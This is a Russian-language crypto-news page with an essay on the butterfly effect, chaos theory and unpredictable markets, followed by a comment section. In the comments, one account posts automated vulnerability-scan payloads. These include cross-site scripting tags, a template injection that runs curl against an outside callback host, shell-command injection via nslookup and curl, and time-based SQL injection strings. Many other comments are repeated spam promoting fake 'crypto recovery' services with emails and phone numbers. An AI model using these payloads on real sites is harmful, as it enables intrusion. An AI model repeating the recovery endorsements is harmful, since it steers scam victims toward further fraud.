Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

Эффект бабочки и рынки (ч.1)

Люди часто не понимают “Эффект бабочки”, в котором микроскопическое изменение в начале может потом привести к весьма непредсказуемым последствиям. Понимание того, как устроен данный эффект, может дать другой взгляд на инвестиции и трейдинг, бизнес, маркетинг, политику и многое другое.

“Вы не можете сдвинуть ни одной песчинки с ее места, не изменив тем самым что-то во всех частях неизмеримого целого.” - Фихте, Призвание человека (1800).

В одной из работ Стивена Кинга молодой мужчина по имени Джэйк обнаружил портал, который возвращает его обратно в 1958 год. После нескольких экспериментов Джэйк выясняет, что менять ход событий в истории возможно. Несмотря на то, сколько он остается в прошлом, в настоящем времени проходит только 2 минуты. Он решает жить в прошлом до 1963 года, чтобы предотвратить убийство президента Джона Кеннеди. Джэйк верит, это действие принесет большую пользу человечеству. После многих лет преследования Ли Харви Освальда он смог предотвратить убийство Кеннеди.

По возвращению в настоящее время Джэйк надеется увидеть мир, который стал лучше прежнего. Вместо этого случилось наоборот. Везде происходят землетрясения, от его дома ничего не осталось, ядерная война уничтожила почти весь мир. Вне себя от увиденного Джэйк возвращается в 1958 еще раз и оставляет все так, как было.

Что-то схожее мы видели и в культовом фильме 80-х «Назад в будущее». Эти примеры из фантастики классический пример того, как все в мире взаимосвязано.

Эффект бабочки ­­­­­­­­– это когда небольшое событие может иметь нелинейное влияние на всю систему. Концепцию эффекта часто представляют в виде взмаха крыла бабочки, из-за которого начинается торнадо в другой части света.

Понятие нелинейности еще на рубеже 19 и 20 веков ввел французский математик Анри Пуанкаре, согласно которому сколь угодно малые неопределённости в начальном состоянии системы могут усиливаться со временем по нелинейной траектории и предсказания будущего становится невозможными. Нелинейность, по мысли Пуанкаре, серьезный довод, ограничивающий пределы предсказуемости. Он предположил, что даже если бы законы природы открыли нам все свои тайны, мы и тогда бы не могли знать точно начальное положение Вселенной. В таком случае даже небольшая незначительная или микроскопическая неопределенность в начальных условиях, ускользнувшая от нашего внимания, будет всегда вызывать значительный эффект, ведущий к значительному изменению результатов на выходе, которые мы не можем не заметить.

Как пишет астрофизик из Великобритании Джон Гриббин в работе “Deep Simplicity”: «Некоторые системы очень чувствительны к своим начальным условиям. Небольшая разница в начальном «толчке», который вы им даете, вызывает большое различие в том, где системы окажутся. Срабатывает обратная связь – система начинает сама влиять на свое собственные поведение и усиливать расхождение."

Бенджамин Франклин — тот самый, чей портрет украшает стодолларовую купюру, — был не только политическим деятелем и ученым, но также предпринимателем и журналистом. Он издавал ежегодник под названием «Альманах бедного Ричарда» и публиковал в нем уйму советов на каждый день. Многие из этих советов стали крылатыми фразами.

Например, знаменитая фраза «время — деньги» взята из статьи Франклина «Советы молодому предпринимателю». Бенджамин Франклин является автором известной притчи, очень хорошо описывающей Эффект бабочки. Вы ее должны помнить из детства, благодаря Самуилу Маршаку:

«Не было гвоздя – подкова пропала,

Не было подковы – лошадь захромала,

Лошадь захромала – командир убит,

Конница разбита, армия бежит.

Враг вступает в город, пленных не щадя,

Потому что в кузнице не было гвоздя» .

Отсутствие такой мелочи, как гвоздь, могло стать причиной проигрыша в целой войне!

Здесь уместно вспомнить слова генерала Стэнли МакКристала, который в своей книге про сложный мир Team of Teams уточняет:

"В популярной культуре, термин «эффект бабочки» почти всегда используется неправильно. Это стало синонимом «рычага» - идеи существования некого маленького события, которое имеет большое влияние на последствия. И что, имея рычаг, им можно манипулировать для достижения желаемой цели. Здесь упускается суть идеи Лоренца, создателя Теории хаоса. Реальность такова, что мелочи в сложной системе часто могут и не иметь никакого эффекта, а могут иметь большой эффект, при котором практически невозможно узнать, что произойдет дальше."

Эдвард Лоренц и открытие эффетка бабочки

«Раньше считалось, что событиями, которые изменили мир, были такие вещи, как большие бомбы, маньяки-политики, огромные землетрясения или массовые перемещения населения, но теперь стало ясно, что это не совсем так. Согласно Теории хаоса, события, которые изменяют мир - это очень часто крошечные события. Бабочка машет крыльями в джунглях Амазонки и впоследствии половину Европы разрушает шторм». - из "Добрых предзнаменований" Терри Пратчетта и Нила Геймана.

Концепция «эффекта бабочки» приписывается Эдварду Лоренцу (1917–2008). Лоренц был метеорологом и математиком, который успешно объединил эти две дисциплины для создания Теории хаоса.

Интерес Лоренца к хаосу появился случайно, когда он работал над предсказанием погоды в 1960-х. Принцип модели Лоренца на самом деле был очень прост: основываясь на вводимых параметрах погодных условий, компьютерная модель могла дать прогноз на небольшой период времени. Данные этого расчета становились основой для последующих вычислений и так далее. Его заинтересовала некоторая особенность решения, которая возникала в середине интервала счёта, и поэтому он повторил вычисления с этого момента. Результаты повторного счёта, очевидно, совпали бы с результатами первоначального счёта, если бы начальные значения для повторного счёта в точности были равны полученным ранее значениям для этого момента времени.

Погодное моделирование Лоренц выполнял на одном из первых компьютеров, которые были крайне низко производительными. Поэтому, чтобы сэкономить время, он запустил моделирование, сократив для ключевых параметров (давление, температура, сила ветра и другие) количество знаков после запятой. Например, значение 0,731127 было напечатано как 0,731. Разница всего 0,000127! К его удивлению, погода, которую машина начала предсказывать, полностью отличалась от погоды, рассчитанной прежде. Это несущественное отличие не должно было иметь фактически никакого эффекта. Вновь сосчитанное решение некоторое время хорошо согласовывалось со старым. Однако, по мере счёта расхождение возрастало, и новое решение всё меньше напоминало старое.

То есть, если взять и смоделировать погоду с определенными начальными значениями температуры, скорости ветра и влажности и другими параметрами, а потом повторить опыт с другой погодной системой, которая по исходным условиям практически не отличается от первой, то вторая система будет вести себя вовсе не так, как первая. Со временем их поведение будет различаться все сильнее и сильнее, и очень скоро это будут две совсем разные, нисколько не похожие одна на другую системы. Шторм с громом и молниями вместо спокойной солнечной погоды.

Он стал искать причину ошибки, проверив даже вакуумные лампы компьютеров. Но в конце концов понял, причина была округлении до третьего знака. С его точки зрения, последние цифры могли оказывать на конечный прогноз погоды такой же результат, как взмах крыльев бабочки в Бразилии на погоду в Техасе.

Это шло вразрез с принципами ньютоновской механики, говорящей о том, что малые помехи на входе, должны приводить к малым изменениям на выходе.

То, что наблюдал Лоренц, теперь называется той самой существенной зависимостью от начальных условий, о которой говорил Пуанкаре. Малейшие изменения в первоначальных условиях вызывают большие изменения в результате. И даже если мы сделаем замечательные математические модели поведения погоды, даже если мы построим суперкомпьютеры, которые будут прекрасно их обсчитывать, и расставим метеостанции в каждом квадратном километре или метре Земли, все равно это позволит увеличить точность прогнозов погоды совсем чуть-чуть – на пару дней.

Проще говоря, Лоренц предположил, что модели прогнозирования погоды неточны, потому что невозможно знать точные начальные условия, а их небольшое изменение может испортить результаты. Чтобы сделать концепцию понятной для ненаучной аудитории, Лоренц начал использовать аналогию с бабочкой.

Маленькая ошибка в исходных данных увеличивается с течением времени. Это же вывод касается прогнозов состояния всех сложных систем, особенно суперсложных, к которым относятся все системы с участием человека. Финансовый рынок в первую очередь. Да, частный инвестор из Москвы, продающий несколько акций, теоретически, может вызвать резкое падение на всех биржах мира.

76b81bb79d6ac9b224617256b76b9f1d.png

Еще один пример - бильярдные шары. Ударяем в бильярдный шар кием, и он начинает катиться по столу, отскакивая от бортов. Теоретически это крайне простая система, почти ньютоновская. И если точно знать силу, с которой ударили шар, массу шара и угол, под которым этот шар ударяется о стенки, то можно легко просчитать дальнейшее поведение шара. В теории мы можем предсказать поведение шара на очень долгое время, если он все время будет ударяться о борта стола, вплоть до того, что можно точно определить местонахождение шара, скажем, через три часа от исходной точки. Но на самом деле оказывается, достоверно предсказать поведение шара можно только на несколько секунд. Потому что практически сразу же на поведение шара начинают оказывать воздействие очень малые случайности – неровности на его поверхности, мелкие включения в шерстяном покрытии стола… И очень скоро эти случайные мелочи разрушают все самые точные расчеты. С каждым новым столкновением ошибки накапливаются, и любое даже самое малое воздействие быстро достигает макроскопических размеров. Одно из основных свойств хаоса – экспоненциальный рост ошибок. Вот так и получается, что даже очень простая система бильярдных шаров на столе ведет себя практически непредсказуемо. А если скруглить углы стола, система становится хаотической после первого отскока шара от борта. Ее состояние невозможно предсказать практически сразу.

1789219f34957000eec888ef97582888.png

Лоренц всегда подчеркивал, невозможно узнать, что именно подвело систему. Бабочка - это символическое представление неизвестной величины.

Он стремился оспорить использование прогностических моделей, которые предполагают линейную, детерминированную прогрессию и игнорируют возможность изменения траектории движения. Даже самая маленькая ошибка в первоначальной настройке делает модель бесполезной, поскольку неточности усугубляются с течением времени. Это происходит в большинстве систем, независимо от их простоты или сложности.

Эффект бабочки несколько унизителен - модель, которая обнажает недостатки других моделей. Это показывает, что наука менее точна, чем мы предполагаем, поскольку у нас нет средств делать точные прогнозы из-за экспоненциального роста ошибок.

Когда только появились компьютеры, многие люди верили, они помогут нам понять сложные системы и делать точные прогнозы. Люди тысячелетиями были рабами погоды, а теперь они хотели взять все под свой контроль. Совершив одну невинную ошибку, Лоренц потряс мир прогнозов, посылая рябь, которая распространилась далеко за пределы метеорологии.

Открытие Лоренца было так значимо, что знаменитый физик Ричард Фейнман даже называл теорию хаоса одним из трех триумфов человеческой мысли в 20 веке — наряду с теорией относительности и квантовой механикой.

Рэй Брэдбери и эффект бабочки

Классический научно-фантастический рассказ Рэя Брэдбери «Звук грома». Действие происходит в 2055 году, в нем рассказывается о человеке по имени Экелс, который путешествует на 65 миллионов лет назад, чтобы застрелить динозавра. Предупрежденный не отклоняться от плана гида, Экелс (вместе со своим гидом и помощником гида) отправляется убить тираннозавра Рекса, который в любом случае скоро все равно умрет, когда на него упадет падающее дерево. Экелс паникует при виде существа и уходит с тропы, оставив своего проводника убить Ти Рекса. Гид приходит в ярость и приказывает Экелсу убрать пули до того, как трио вернется в 2055. По прибытию они сбиты с толку и обнаруживают, что мир изменился. Язык изменен, и теперь во главе стоит злой диктатор. Смущенный Экелс замечает, что к его ботинку прилипла раздавленная бабочка, и понимает, что, сошел с пути, он убил насекомое и изменил будущее. Брэдбери пишет:

Экелс почувствовал, что падает в кресло. Он безумно возился с густой слизью на своих ботинках. Он поднял ком земли: «Нет, этого не может быть. Не такая мелочь. Нет!»

В грязи, сверкающей зеленым, золотым и черным, была погружена бабочка, очень красивая и мертвая.

«Не такая мелочь! Не бабочка!» - воскликнул Экелс.

Он упал на пол, изысканная вещь, маленькая вещь, которая могла нарушить равновесие и сбить линию маленьких домино, затем больших домино, а затем гигантских домино, на протяжении многих лет во Времени. Мысли Экелса закружились. Это не могло ничего изменить. Убить одну бабочку не так уж важно!

Брэдбери считал, что течение времени хрупкое и может быть нарушено незначительными изменениями. Эффект бабочки, теория хаоса, детерминизм, свобода воли, путешествия во времени - захватили воображение многих с момента их открытия. В фильмах от «Это прекрасная жизнь» до «Донни Дарко» и одноименного «Эффекта бабочки» исследуются сложности причины и следствия. Еще раз важно отметить, художественные произведения склонны рассматривать именно ту самую символическую бабочку как причину следствия. Согласно Лоренца, суть в том, что мелкие детали могут склонить чашу весов к совершенно непредсказуемому результату, будучи почти незаметными.

Эффект бабочки на рынках

Фондовый рынок - это тоже хаотическая система. Очень часто большие колебания цен вызывают крошечные, совсем незаметные факторы. Это делает невозможным предсказание будущего. Успехи и неудачи компаний кажутся случайными, периоды экономического роста и упадка берут начало из ниоткуда. Это результат экспоненциального воздействия микроскопических стимулов - экономический эквивалент эффекта бабочки.

Мы живем во взаимосвязанном или, скорее, гиперсвязанном мире. Организации и рынки ведут себя словно сети. Это и вызывает хаотическое и сложное, а не линейное поведение.

Подготовиться к будущему и увидеть логику в хаосе поведения цен акций, самих компаний, потребителей непросто. Некогда могущественные гиганты (General Motors, General Electric, Nokia) рушатся, отставая от времени. Крошечные стартапы поднимаются из ниоткуда и захватывают целые сектора. Небольшие изменения в существующих условиях и технологиях меняют образ жизни людей, как когда-то появление iPad оказало влияние на рынок услуг присмотра за детьми – упал спрос на нянь. COVID-19 вознес на небеса компанию Zoom, компании FAANG и сервисы доставки.

А вспомните нашумевшую в январе историю с ростом цены акций GameStop. Когда, по сути, один человек с помощью социальной сети способствовал развороту цен на акции небольшой компании, плавно идущей к банкротству, вверх. И в течение нескольких дней ее капитализация выросла до уровня крупнейших корпораций мира, поставив на колени некоторые хеджфонды. Он стал крылом той самой бабочки Лоренца.

По своей природе все рынки хаотичны, и кажущиеся несущественными изменения могут подтолкнуть бизнес и акции вверх или вниз. Глобализация и частые сдвиги в предпочтениях потребителей в отношении продуктов и услуг ускорили создание хаоса на рынке из-за наплыва фирм, продуктов и бизнес-стратегий. Теория хаоса на рынках рассматривает стратегические и динамичные действия конкурирующих фирм, которые очень чувствительны к существующим рыночным условиям, вызывающим эффект бабочки.

Начальные условия (экономические, социальные, культурные, политические), в которых создается бизнес, существенно влияют на его успех или неудачу. Лоренц обнаружил, что малейшее изменение предварительных условий приводит к другому результату в прогнозах погоды, и мы можем считать то же самое справедливым для бизнеса и фондовых рынков. Первые несколько месяцев и лет - это решающее время, когда процент неудач является самым высоким и формируется основная бизнес-модель организации. Можно сказать, любое из ранних решений, достижений или ошибок может стать тем самым взмахом крыла, который создаёт шторм и новые Facebook или Tesla.

(продолжение следует)

Спасибо за лайки!
Ссылка на телеграмм канал: https://t.me/TradPhronesis

Там есть ссылки на другие статьи, с которыми тоже полезно ознакомиться :)


Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

